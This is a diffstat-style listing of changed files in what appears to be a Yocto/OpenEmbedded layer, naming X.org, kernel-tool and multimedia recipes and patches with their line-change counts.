-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-video-vesa_2.4.0.bb23
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-video-vesa_2.6.0.bb20
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-video-vmware/0002-add-option-for-vmwgfx.patch103
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-video-vmware_13.3.0.bb19
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-video-vmware_13.4.0.bb14
-rw-r--r--meta/recipes-graphics/xorg-driver/xorg-driver-common.inc14
-rw-r--r--meta/recipes-graphics/xorg-driver/xorg-driver-input.inc2
-rw-r--r--meta/recipes-graphics/xorg-font/encodings/nocompiler.patch42
-rw-r--r--meta/recipes-graphics/xorg-font/encodings_1.0.5.bb25
-rw-r--r--meta/recipes-graphics/xorg-font/encodings_1.1.0.bb24
-rw-r--r--meta/recipes-graphics/xorg-font/font-alias-1.0.3/nocompiler.patch32
-rw-r--r--meta/recipes-graphics/xorg-font/font-alias_1.0.3.bb24
-rw-r--r--meta/recipes-graphics/xorg-font/font-alias_1.0.5.bb22
-rw-r--r--meta/recipes-graphics/xorg-font/font-util_1.3.2.bb22
-rw-r--r--meta/recipes-graphics/xorg-font/font-util_1.4.1.bb23
-rw-r--r--meta/recipes-graphics/xorg-font/xorg-font-common.inc13
-rw-r--r--meta/recipes-graphics/xorg-font/xorg-minimal-fonts.bb9
-rw-r--r--meta/recipes-graphics/xorg-lib/files/libx11-whitespace.patch56
-rw-r--r--meta/recipes-graphics/xorg-lib/libdmx_1.1.4.bb20
-rw-r--r--meta/recipes-graphics/xorg-lib/libfontenc_1.1.4.bb17
-rw-r--r--meta/recipes-graphics/xorg-lib/libfontenc_1.1.8.bb16
-rw-r--r--meta/recipes-graphics/xorg-lib/libice_1.0.10.bb28
-rw-r--r--meta/recipes-graphics/xorg-lib/libice_1.1.1.bb27
-rw-r--r--meta/recipes-graphics/xorg-lib/libpciaccess_0.16.bb19
-rw-r--r--meta/recipes-graphics/xorg-lib/libpciaccess_0.18.1.bb26
-rw-r--r--meta/recipes-graphics/xorg-lib/libpthread-stubs_0.4.bb19
-rw-r--r--meta/recipes-graphics/xorg-lib/libpthread-stubs_0.5.bb18
-rw-r--r--meta/recipes-graphics/xorg-lib/libsm_1.2.3.bb31
-rw-r--r--meta/recipes-graphics/xorg-lib/libsm_1.2.4.bb30
-rw-r--r--meta/recipes-graphics/xorg-lib/libx11-compose-data/0001-Drop-x11-dependencies.patch12
-rw-r--r--meta/recipes-graphics/xorg-lib/libx11-compose-data_1.6.8.bb36
-rw-r--r--meta/recipes-graphics/xorg-lib/libx11-compose-data_1.8.4.bb35
-rw-r--r--meta/recipes-graphics/xorg-lib/libx11/Fix-hanging-issue-in-_XReply.patch58
-rw-r--r--meta/recipes-graphics/xorg-lib/libx11_1.6.9.bb46
-rw-r--r--meta/recipes-graphics/xorg-lib/libx11_1.8.9.bb43
-rw-r--r--meta/recipes-graphics/xorg-lib/libxau_1.0.11.bb23
-rw-r--r--meta/recipes-graphics/xorg-lib/libxau_1.0.9.bb24
-rw-r--r--meta/recipes-graphics/xorg-lib/libxcb/0001-use-_Alignof-to-avoid-UB-in-ALIGNOF.patch45
-rw-r--r--meta/recipes-graphics/xorg-lib/libxcb/disable-check.patch25
-rw-r--r--meta/recipes-graphics/xorg-lib/libxcb_1.14.bb35
-rw-r--r--meta/recipes-graphics/xorg-lib/libxcb_1.16.1.bb38
-rw-r--r--meta/recipes-graphics/xorg-lib/libxcomposite/change-include-order.patch18
-rw-r--r--meta/recipes-graphics/xorg-lib/libxcomposite_0.4.5.bb28
-rw-r--r--meta/recipes-graphics/xorg-lib/libxcomposite_0.4.6.bb25
-rw-r--r--meta/recipes-graphics/xorg-lib/libxcursor_1.2.0.bb23
-rw-r--r--meta/recipes-graphics/xorg-lib/libxcursor_1.2.2.bb23
-rw-r--r--meta/recipes-graphics/xorg-lib/libxcvt_0.1.2.bb19
-rw-r--r--meta/recipes-graphics/xorg-lib/libxdamage_1.1.5.bb29
-rw-r--r--meta/recipes-graphics/xorg-lib/libxdamage_1.1.6.bb28
-rw-r--r--meta/recipes-graphics/xorg-lib/libxdmcp_1.1.3.bb29
-rw-r--r--meta/recipes-graphics/xorg-lib/libxdmcp_1.1.5.bb28
-rw-r--r--meta/recipes-graphics/xorg-lib/libxext_1.3.4.bb26
-rw-r--r--meta/recipes-graphics/xorg-lib/libxext_1.3.6.bb24
-rw-r--r--meta/recipes-graphics/xorg-lib/libxfixes_5.0.3.bb23
-rw-r--r--meta/recipes-graphics/xorg-lib/libxfixes_6.0.1.bb21
-rw-r--r--meta/recipes-graphics/xorg-lib/libxfont2_2.0.4.bb24
-rw-r--r--meta/recipes-graphics/xorg-lib/libxfont2_2.0.6.bb23
-rw-r--r--meta/recipes-graphics/xorg-lib/libxfont_1.5.4.bb3
-rw-r--r--meta/recipes-graphics/xorg-lib/libxft_2.3.3.bb33
-rw-r--r--meta/recipes-graphics/xorg-lib/libxft_2.3.8.bb32
-rw-r--r--meta/recipes-graphics/xorg-lib/libxi_1.7.10.bb23
-rw-r--r--meta/recipes-graphics/xorg-lib/libxi_1.8.1.bb23
-rw-r--r--meta/recipes-graphics/xorg-lib/libxinerama_1.1.4.bb22
-rw-r--r--meta/recipes-graphics/xorg-lib/libxinerama_1.1.5.bb20
-rw-r--r--meta/recipes-graphics/xorg-lib/libxkbcommon_0.10.0.bb27
-rw-r--r--meta/recipes-graphics/xorg-lib/libxkbcommon_1.7.0.bb40
-rw-r--r--meta/recipes-graphics/xorg-lib/libxkbfile_1.1.0.bb18
-rw-r--r--meta/recipes-graphics/xorg-lib/libxkbfile_1.1.3.bb16
-rw-r--r--meta/recipes-graphics/xorg-lib/libxmu_1.1.3.bb34
-rw-r--r--meta/recipes-graphics/xorg-lib/libxmu_1.2.0.bb30
-rw-r--r--meta/recipes-graphics/xorg-lib/libxpm_3.5.13.bb27
-rw-r--r--meta/recipes-graphics/xorg-lib/libxpm_3.5.17.bb27
-rw-r--r--meta/recipes-graphics/xorg-lib/libxrandr_1.5.2.bb23
-rw-r--r--meta/recipes-graphics/xorg-lib/libxrandr_1.5.4.bb22
-rw-r--r--meta/recipes-graphics/xorg-lib/libxrender_0.9.10.bb24
-rw-r--r--meta/recipes-graphics/xorg-lib/libxrender_0.9.11.bb22
-rw-r--r--meta/recipes-graphics/xorg-lib/libxres_1.2.0.bb20
-rw-r--r--meta/recipes-graphics/xorg-lib/libxres_1.2.2.bb19
-rw-r--r--meta/recipes-graphics/xorg-lib/libxscrnsaver_1.2.3.bb23
-rw-r--r--meta/recipes-graphics/xorg-lib/libxscrnsaver_1.2.4.bb22
-rw-r--r--meta/recipes-graphics/xorg-lib/libxshmfence/0001-xshmfence_futex.h-Define-SYS_futex-if-it-does-not-ex.patch39
-rw-r--r--meta/recipes-graphics/xorg-lib/libxshmfence_1.3.2.bb20
-rw-r--r--meta/recipes-graphics/xorg-lib/libxshmfence_1.3.bb19
-rw-r--r--meta/recipes-graphics/xorg-lib/libxt_1.2.0.bb32
-rw-r--r--meta/recipes-graphics/xorg-lib/libxt_1.3.0.bb32
-rw-r--r--meta/recipes-graphics/xorg-lib/libxtst_1.2.3.bb22
-rw-r--r--meta/recipes-graphics/xorg-lib/libxtst_1.2.4.bb20
-rw-r--r--meta/recipes-graphics/xorg-lib/libxv_1.0.11.bb19
-rw-r--r--meta/recipes-graphics/xorg-lib/libxv_1.0.12.bb18
-rw-r--r--meta/recipes-graphics/xorg-lib/libxvmc_1.0.12.bb19
-rw-r--r--meta/recipes-graphics/xorg-lib/libxvmc_1.0.14.bb19
-rw-r--r--meta/recipes-graphics/xorg-lib/libxxf86vm_1.1.4.bb22
-rw-r--r--meta/recipes-graphics/xorg-lib/libxxf86vm_1.1.5.bb20
-rw-r--r--meta/recipes-graphics/xorg-lib/pixman_0.40.0.bb35
-rw-r--r--meta/recipes-graphics/xorg-lib/pixman_0.42.2.bb47
-rw-r--r--meta/recipes-graphics/xorg-lib/xcb-util-cursor_0.1.4.bb10
-rw-r--r--meta/recipes-graphics/xorg-lib/xcb-util-image_0.4.0.bb13
-rw-r--r--meta/recipes-graphics/xorg-lib/xcb-util-image_0.4.1.bb12
-rw-r--r--meta/recipes-graphics/xorg-lib/xcb-util-keysyms_0.4.0.bb9
-rw-r--r--meta/recipes-graphics/xorg-lib/xcb-util-keysyms_0.4.1.bb8
-rw-r--r--meta/recipes-graphics/xorg-lib/xcb-util-renderutil_0.3.10.bb9
-rw-r--r--meta/recipes-graphics/xorg-lib/xcb-util-renderutil_0.3.9.bb10
-rw-r--r--meta/recipes-graphics/xorg-lib/xcb-util-wm_0.4.1.bb11
-rw-r--r--meta/recipes-graphics/xorg-lib/xcb-util-wm_0.4.2.bb10
-rw-r--r--meta/recipes-graphics/xorg-lib/xcb-util.inc2
-rw-r--r--meta/recipes-graphics/xorg-lib/xcb-util_0.4.0.bb8
-rw-r--r--meta/recipes-graphics/xorg-lib/xcb-util_0.4.1.bb9
-rw-r--r--meta/recipes-graphics/xorg-lib/xkeyboard-config_2.30.bb30
-rw-r--r--meta/recipes-graphics/xorg-lib/xkeyboard-config_2.41.bb32
-rw-r--r--meta/recipes-graphics/xorg-lib/xorg-lib-common.inc7
-rw-r--r--meta/recipes-graphics/xorg-lib/xtrans_1.4.0.bb26
-rw-r--r--meta/recipes-graphics/xorg-lib/xtrans_1.5.0.bb25
-rw-r--r--meta/recipes-graphics/xorg-proto/xcb-proto/0001-Fix-install-conflict-when-enable-multilib.patch32
-rw-r--r--meta/recipes-graphics/xorg-proto/xcb-proto/0001-xcb-proto.pc.in-reinstate-libdir.patch29
-rw-r--r--meta/recipes-graphics/xorg-proto/xcb-proto_1.14.bb28
-rw-r--r--meta/recipes-graphics/xorg-proto/xcb-proto_1.16.0.bb31
-rw-r--r--meta/recipes-graphics/xorg-proto/xorgproto_2020.1.bb27
-rw-r--r--meta/recipes-graphics/xorg-proto/xorgproto_2024.1.bb25
-rw-r--r--meta/recipes-graphics/xorg-util/makedepend_1.0.6.bb21
-rw-r--r--meta/recipes-graphics/xorg-util/makedepend_1.0.9.bb20
-rw-r--r--meta/recipes-graphics/xorg-util/util-macros/0001-xorg-macros.m4.in-do-not-run-AC_CANONICAL_HOST-in-ma.patch28
-rw-r--r--meta/recipes-graphics/xorg-util/util-macros_1.19.2.bb19
-rw-r--r--meta/recipes-graphics/xorg-util/util-macros_1.20.0.bb20
-rw-r--r--meta/recipes-graphics/xorg-util/xorg-util-common.inc2
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemuarm/xorg.conf4
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemuppc/xorg.conf4
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemush4/xorg.conf4
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemux86-64/xorg.conf4
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemux86/xorg.conf4
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xf86-config_0.1.bb7
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xorg.inc161
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-Avoid-duplicate-definitions-of-IOPortBase.patch29
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-drmmode_display.c-add-missing-mi.h-include.patch23
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-test-xtest-Initialize-array-with-braces.patch36
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xorg/pkgconfig.patch34
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xorg/sdksyms-no-build-path.patch50
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xorg_1.20.8.bb32
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xorg_21.1.11.bb28
-rw-r--r--meta/recipes-graphics/xrestop/xrestop_0.4.bb3
-rw-r--r--meta/recipes-graphics/xwayland/xwayland_23.2.5.bb45
-rw-r--r--meta/recipes-kernel/blktrace/blktrace/CVE-2018-10689.patch150
-rw-r--r--meta/recipes-kernel/blktrace/blktrace/ldflags.patch114
-rw-r--r--meta/recipes-kernel/blktrace/blktrace/make-btt-scripts-python3-ready.patch197
-rw-r--r--meta/recipes-kernel/blktrace/blktrace_git.bb17
-rw-r--r--meta/recipes-kernel/cryptodev/cryptodev-linux_1.10.bb13
-rw-r--r--meta/recipes-kernel/cryptodev/cryptodev-linux_1.13.bb13
-rw-r--r--meta/recipes-kernel/cryptodev/cryptodev-module_1.10.bb18
-rw-r--r--meta/recipes-kernel/cryptodev/cryptodev-module_1.13.bb16
-rw-r--r--meta/recipes-kernel/cryptodev/cryptodev-tests_1.10.bb21
-rw-r--r--meta/recipes-kernel/cryptodev/cryptodev-tests_1.13.bb21
-rw-r--r--meta/recipes-kernel/cryptodev/cryptodev.inc12
-rw-r--r--meta/recipes-kernel/cryptodev/files/0001-Add-the-compile-and-install-rules-for-cryptodev-test.patch66
-rw-r--r--meta/recipes-kernel/cryptodev/files/0001-Disable-installing-header-file-provided-by-another-p.patch11
-rw-r--r--meta/recipes-kernel/cryptodev/files/0001-Fix-build-for-Linux-5.8-rc1.patch49
-rw-r--r--meta/recipes-kernel/cryptodev/files/0001-tests-Makefile-do-not-use-Werror.patch25
-rw-r--r--meta/recipes-kernel/dtc/dtc.inc26
-rw-r--r--meta/recipes-kernel/dtc/dtc/0001-meson.build-bump-version-to-1.7.0.patch29
-rw-r--r--meta/recipes-kernel/dtc/dtc/0002-meson-allow-building-from-shallow-clones.patch38
-rw-r--r--meta/recipes-kernel/dtc/dtc/make_install.patch26
-rw-r--r--meta/recipes-kernel/dtc/dtc_1.6.0.bb10
-rw-r--r--meta/recipes-kernel/dtc/dtc_1.7.0.bb34
-rw-r--r--meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-doc-validate20
-rw-r--r--meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-mk-schema20
-rw-r--r--meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-validate20
-rw-r--r--meta/recipes-kernel/dtc/python3-dtschema-wrapper_2021.10.bb17
-rw-r--r--meta/recipes-kernel/kern-tools/kern-tools-native_git.bb21
-rw-r--r--meta/recipes-kernel/kexec/kexec-tools/0001-arm64-kexec-disabled-check-if-kaslr-seed-dtb-propert.patch70
-rw-r--r--meta/recipes-kernel/kexec/kexec-tools/0001-kexec-Fix-build-with-fno-common.patch43
-rw-r--r--meta/recipes-kernel/kexec/kexec-tools/0002-purgatory-Pass-r-directly-to-linker.patch7
-rw-r--r--meta/recipes-kernel/kexec/kexec-tools/0003-kexec-ARM-Fix-add_buffer_phys_virt-align-issue.patch11
-rw-r--r--meta/recipes-kernel/kexec/kexec-tools/0004-x86_64-Add-support-to-build-kexec-tools-with-x32-ABI.patch93
-rw-r--r--meta/recipes-kernel/kexec/kexec-tools/0005-Disable-PIE-during-link.patch7
-rw-r--r--meta/recipes-kernel/kexec/kexec-tools/0006-kexec-arm-undefine-__NR_kexec_file_load-for-arm.patch40
-rw-r--r--meta/recipes-kernel/kexec/kexec-tools/0007-kexec-un-break-the-build-on-32-bit-x86.patch42
-rw-r--r--meta/recipes-kernel/kexec/kexec-tools/Fix-building-on-x86_64-with-binutils-2.41.patch95
-rw-r--r--meta/recipes-kernel/kexec/kexec-tools_2.0.20.bb90
-rw-r--r--meta/recipes-kernel/kexec/kexec-tools_2.0.28.bb86
-rw-r--r--meta/recipes-kernel/kmod/depmodwrapper-cross_1.0.bb23
-rw-r--r--meta/recipes-kernel/kmod/kmod-native_git.bb15
-rw-r--r--meta/recipes-kernel/kmod/kmod.inc37
-rw-r--r--meta/recipes-kernel/kmod/kmod/0001-Use-portable-implementation-for-basename-API.patch136
-rw-r--r--meta/recipes-kernel/kmod/kmod/gtkdocdir.patch33
-rw-r--r--meta/recipes-kernel/kmod/kmod/ptest.patch25
-rw-r--r--meta/recipes-kernel/kmod/kmod_31.bb89
-rw-r--r--meta/recipes-kernel/kmod/kmod_git.bb62
-rw-r--r--meta/recipes-kernel/libtraceevent/libtraceevent/meson.patch45
-rw-r--r--meta/recipes-kernel/libtraceevent/libtraceevent_1.8.2.bb23
-rw-r--r--meta/recipes-kernel/linux-firmware/linux-firmware_20200619.bb951
-rw-r--r--meta/recipes-kernel/linux-firmware/linux-firmware_20240312.bb1583
-rw-r--r--meta/recipes-kernel/linux-libc-headers/linux-libc-headers.inc34
-rw-r--r--meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0001-include-linux-stddef.h-in-swab.h-uapi-header.patch44
-rw-r--r--meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0001-scripts-Use-fixed-input-and-output-files-instead-of-.patch67
-rw-r--r--meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0003-remove-inclusion-of-sysinfo.h-in-kernel.h.patch12
-rw-r--r--meta/recipes-kernel/linux-libc-headers/linux-libc-headers_5.4.bb16
-rw-r--r--meta/recipes-kernel/linux-libc-headers/linux-libc-headers_6.6.bb17
-rw-r--r--meta/recipes-kernel/linux/cve-exclusion.inc34
-rw-r--r--meta/recipes-kernel/linux/cve-exclusion_6.6.inc5384
-rwxr-xr-xmeta/recipes-kernel/linux/generate-cve-exclusions.py98
-rw-r--r--meta/recipes-kernel/linux/kernel-devsrc.bb442
-rw-r--r--meta/recipes-kernel/linux/linux-dummy.bb21
-rw-r--r--meta/recipes-kernel/linux/linux-yocto-dev.bb39
-rw-r--r--meta/recipes-kernel/linux/linux-yocto-rt_5.4.bb44
-rw-r--r--meta/recipes-kernel/linux/linux-yocto-rt_6.6.bb48
-rw-r--r--meta/recipes-kernel/linux/linux-yocto-tiny_5.4.bb32
-rw-r--r--meta/recipes-kernel/linux/linux-yocto-tiny_6.6.bb33
-rw-r--r--meta/recipes-kernel/linux/linux-yocto.inc52
-rw-r--r--meta/recipes-kernel/linux/linux-yocto_5.4.bb54
-rw-r--r--meta/recipes-kernel/linux/linux-yocto_6.6.bb72
-rwxr-xr-xmeta/recipes-kernel/lttng/babeltrace2/run-ptest12
-rw-r--r--meta/recipes-kernel/lttng/babeltrace2_2.0.3.bb93
-rw-r--r--meta/recipes-kernel/lttng/babeltrace2_2.0.6.bb95
-rw-r--r--meta/recipes-kernel/lttng/babeltrace_1.5.11.bb98
-rw-r--r--meta/recipes-kernel/lttng/babeltrace_1.5.8.bb98
-rw-r--r--meta/recipes-kernel/lttng/lttng-modules/0001-Fix-ASoC-snd_doc_dapm-on-linux-6.9-rc1.patch93
-rw-r--r--meta/recipes-kernel/lttng/lttng-modules/0001-src-Kbuild-change-missing-CONFIG_TRACEPOINTS-to-warn.patch46
-rw-r--r--meta/recipes-kernel/lttng/lttng-modules/0002-Fix-ASoC-add-component-to-set_bias_level-events-in-l.patch132
-rw-r--r--meta/recipes-kernel/lttng/lttng-modules/0003-Fix-mm_compaction_migratepages-changed-in-linux-6.9-.patch81
-rw-r--r--meta/recipes-kernel/lttng/lttng-modules/0004-Fix-dev_base_lock-removed-in-linux-6.9-rc1.patch57
-rw-r--r--meta/recipes-kernel/lttng/lttng-modules/BUILD_RUNTIME_BUG_ON-vs-gcc7.patch43
-rw-r--r--meta/recipes-kernel/lttng/lttng-modules/Makefile-Do-not-fail-if-CONFIG_TRACEPOINTS-is-not-en.patch49
-rw-r--r--meta/recipes-kernel/lttng/lttng-modules_2.12.2.bb42
-rw-r--r--meta/recipes-kernel/lttng/lttng-modules_2.13.12.bb45
-rw-r--r--meta/recipes-kernel/lttng/lttng-platforms.inc21
-rw-r--r--meta/recipes-kernel/lttng/lttng-tools/0001-Fix-rotation-destroy-flush-fix-session-daemon-abort-.patch56
-rw-r--r--meta/recipes-kernel/lttng/lttng-tools/0001-compat-Define-off64_t-as-off_t-on-linux.patch74
-rw-r--r--meta/recipes-kernel/lttng/lttng-tools/0001-tests-add-check_skip_kernel_test-to-check-root-user-.patch1246
-rw-r--r--meta/recipes-kernel/lttng/lttng-tools/0001-tests-do-not-strip-a-helper-library.patch9
-rw-r--r--meta/recipes-kernel/lttng/lttng-tools/0001-tests-gen-ust-events-ns-tp.h-Fix-build-with-musl-lib.patch43
-rw-r--r--meta/recipes-kernel/lttng/lttng-tools/0001-tests-regression-disable-the-tools-live-tests.patch34
-rw-r--r--meta/recipes-kernel/lttng/lttng-tools/disable-tests.patch34
-rwxr-xr-xmeta/recipes-kernel/lttng/lttng-tools/run-ptest45
-rw-r--r--meta/recipes-kernel/lttng/lttng-tools_2.12.1.bb165
-rw-r--r--meta/recipes-kernel/lttng/lttng-tools_2.13.13.bb197
-rw-r--r--meta/recipes-kernel/lttng/lttng-ust/0001-Makefile.am-update-rpath-link.patch33
-rw-r--r--meta/recipes-kernel/lttng/lttng-ust/0001-lttng-ust-common-link-with-liburcu-explicitly.patch26
-rw-r--r--meta/recipes-kernel/lttng/lttng-ust/0001-python-lttngust-Makefile.am-Add-install-lib-to-setup.patch26
-rw-r--r--meta/recipes-kernel/lttng/lttng-ust_2.12.0.bb51
-rw-r--r--meta/recipes-kernel/lttng/lttng-ust_2.13.7.bb53
-rw-r--r--meta/recipes-kernel/make-mod-scripts/make-mod-scripts_1.0.bb18
-rw-r--r--meta/recipes-kernel/modutils-initscripts/files/PD.patch8
-rwxr-xr-xmeta/recipes-kernel/modutils-initscripts/files/modutils.sh15
-rw-r--r--meta/recipes-kernel/modutils-initscripts/modutils-initscripts.bb14
-rw-r--r--meta/recipes-kernel/perf/perf-perl.inc10
-rw-r--r--meta/recipes-kernel/perf/perf.bb207
-rwxr-xr-xmeta/recipes-kernel/perf/perf/sort-pmuevents.py100
-rw-r--r--meta/recipes-kernel/powertop/powertop_2.13.bb32
-rw-r--r--meta/recipes-kernel/powertop/powertop_2.15.bb24
-rw-r--r--meta/recipes-kernel/systemtap/systemtap-native_git.bb2
-rw-r--r--meta/recipes-kernel/systemtap/systemtap-uprobes_git.bb40
-rw-r--r--meta/recipes-kernel/systemtap/systemtap/0001-Makefile.am-remove-runtime-linux-uprobes-and-runtime.patch40
-rw-r--r--meta/recipes-kernel/systemtap/systemtap/0001-bpf-translate.cxx-fix-build-against-upcoming-gcc-14-.patch40
-rw-r--r--meta/recipes-kernel/systemtap/systemtap/0001-configure.ac-fix-broken-libdebuginfod-library-auto-d.patch51
-rw-r--r--meta/recipes-kernel/systemtap/systemtap/0001-prerelease-datestamp-fixes.patch23
-rw-r--r--meta/recipes-kernel/systemtap/systemtap/0001-staprun-address-ncurses-6.3-failures.patch61
-rw-r--r--meta/recipes-kernel/systemtap/systemtap/0001-staprun-fix-build-against-upcoming-gcc-14-Werror-cal.patch36
-rw-r--r--meta/recipes-kernel/systemtap/systemtap_git.bb69
-rw-r--r--meta/recipes-kernel/systemtap/systemtap_git.inc17
-rw-r--r--meta/recipes-kernel/wireless-regdb/wireless-regdb_2020.04.29.bb43
-rw-r--r--meta/recipes-kernel/wireless-regdb/wireless-regdb_2024.01.23.bb43
-rw-r--r--meta/recipes-multimedia/alsa/alsa-lib/0001-topology-correct-version-script-path.patch38
-rw-r--r--meta/recipes-multimedia/alsa/alsa-lib_1.2.11.bb46
-rw-r--r--meta/recipes-multimedia/alsa/alsa-lib_1.2.3.2.bb42
-rw-r--r--meta/recipes-multimedia/alsa/alsa-plugins/0001-arcam_av.c-Include-missing-string.h.patch25
-rw-r--r--meta/recipes-multimedia/alsa/alsa-plugins_1.2.2.bb172
-rw-r--r--meta/recipes-multimedia/alsa/alsa-plugins_1.2.7.1.bb176
-rw-r--r--meta/recipes-multimedia/alsa/alsa-tools_1.2.11.bb89
-rw-r--r--meta/recipes-multimedia/alsa/alsa-tools_1.2.2.bb86
-rw-r--r--meta/recipes-multimedia/alsa/alsa-topology-conf_1.2.3.bb19
-rw-r--r--meta/recipes-multimedia/alsa/alsa-topology-conf_1.2.5.1.bb23
-rw-r--r--meta/recipes-multimedia/alsa/alsa-ucm-conf_1.2.11.bb24
-rw-r--r--meta/recipes-multimedia/alsa/alsa-ucm-conf_1.2.3.bb20
-rw-r--r--meta/recipes-multimedia/alsa/alsa-utils-scripts_1.2.3.bb25
-rw-r--r--meta/recipes-multimedia/alsa/alsa-utils.inc104
-rw-r--r--meta/recipes-multimedia/alsa/alsa-utils_1.2.11.bb124
-rw-r--r--meta/recipes-multimedia/alsa/alsa-utils_1.2.3.bb2
-rw-r--r--meta/recipes-multimedia/ffmpeg/ffmpeg/mips64_cpu_detection.patch32
-rw-r--r--meta/recipes-multimedia/ffmpeg/ffmpeg_4.3.1.bb160
-rw-r--r--meta/recipes-multimedia/ffmpeg/ffmpeg_6.1.1.bb186
-rw-r--r--meta/recipes-multimedia/flac/flac_1.3.3.bb46
-rw-r--r--meta/recipes-multimedia/flac/flac_1.4.3.bb36
-rw-r--r--meta/recipes-multimedia/gstreamer/gst-devtools/0001-connect-has-a-different-signature-on-musl.patch (renamed from meta/recipes-multimedia/gstreamer/gst-validate/0001-connect-has-a-different-signature-on-musl.patch)11
-rw-r--r--meta/recipes-multimedia/gstreamer/gst-devtools_1.22.11.bb52
-rw-r--r--meta/recipes-multimedia/gstreamer/gst-examples/0001-Make-player-examples-installable.patch24
-rw-r--r--meta/recipes-multimedia/gstreamer/gst-examples/gst-player.desktop2
-rw-r--r--meta/recipes-multimedia/gstreamer/gst-examples_1.16.0.bb32
-rw-r--r--meta/recipes-multimedia/gstreamer/gst-examples_1.18.6.bb35
-rw-r--r--meta/recipes-multimedia/gstreamer/gst-validate_1.16.2.bb25
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-libav_1.16.2.bb35
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-libav_1.22.11.bb28
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-meta-base.bb25
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-omx_1.16.2.bb47
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-omx_1.22.11.bb47
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0001-fix-maybe-uninitialized-warnings-when-compiling-with.patch26
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0001-meson-build-gir-even-when-cross-compiling-if-introsp.patch36
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0002-avoid-including-sys-poll.h-directly.patch28
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0004-opencv-resolve-missing-opencv-data-dir-in-yocto-buil.patch33
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/avoid-including-sys-poll.h-directly.patch30
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/ensure-valid-sentinels-for-gst_structure_get-etc.patch85
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/fix-maybe-uninitialized-warnings-when-compiling-with-Os.patch28
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/opencv-resolve-missing-opencv-data-dir-in-yocto-buil.patch49
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad_1.16.2.bb147
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad_1.22.11.bb165
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0001-ENGR00312515-get-caps-from-src-pad-when-query-caps.patch42
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0001-meson-build-gir-even-when-cross-compiling-if-introsp.patch36
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0002-meson-Add-variables-for-gir-files.patch235
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0002-ssaparse-enhance-SSA-text-lines-parsing.patch227
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0003-ssaparse-enhance-SSA-text-lines-parsing.patch227
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0003-viv-fb-Make-sure-config.h-is-included.patch30
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0005-viv-fb-Make-sure-config.h-is-included.patch32
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0009-glimagesink-Downrank-to-marginal.patch32
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/get-caps-from-src-pad-when-query-caps.patch42
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base_1.16.2.bb99
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base_1.22.11.bb96
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-common.inc5
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good/0001-qmlgl-ensure-Qt-defines-GLsync-to-fix-compile-on-som.patch70
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good/0001-qt-include-ext-qt-gstqtgl.h-instead-of-gst-gl-gstglf.patch10
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good/0001-v4l2-Define-ioctl_req_t-for-posix-linux-case.patch38
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good_1.16.2.bb70
-rw-r--r--meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good_1.22.11.bb81
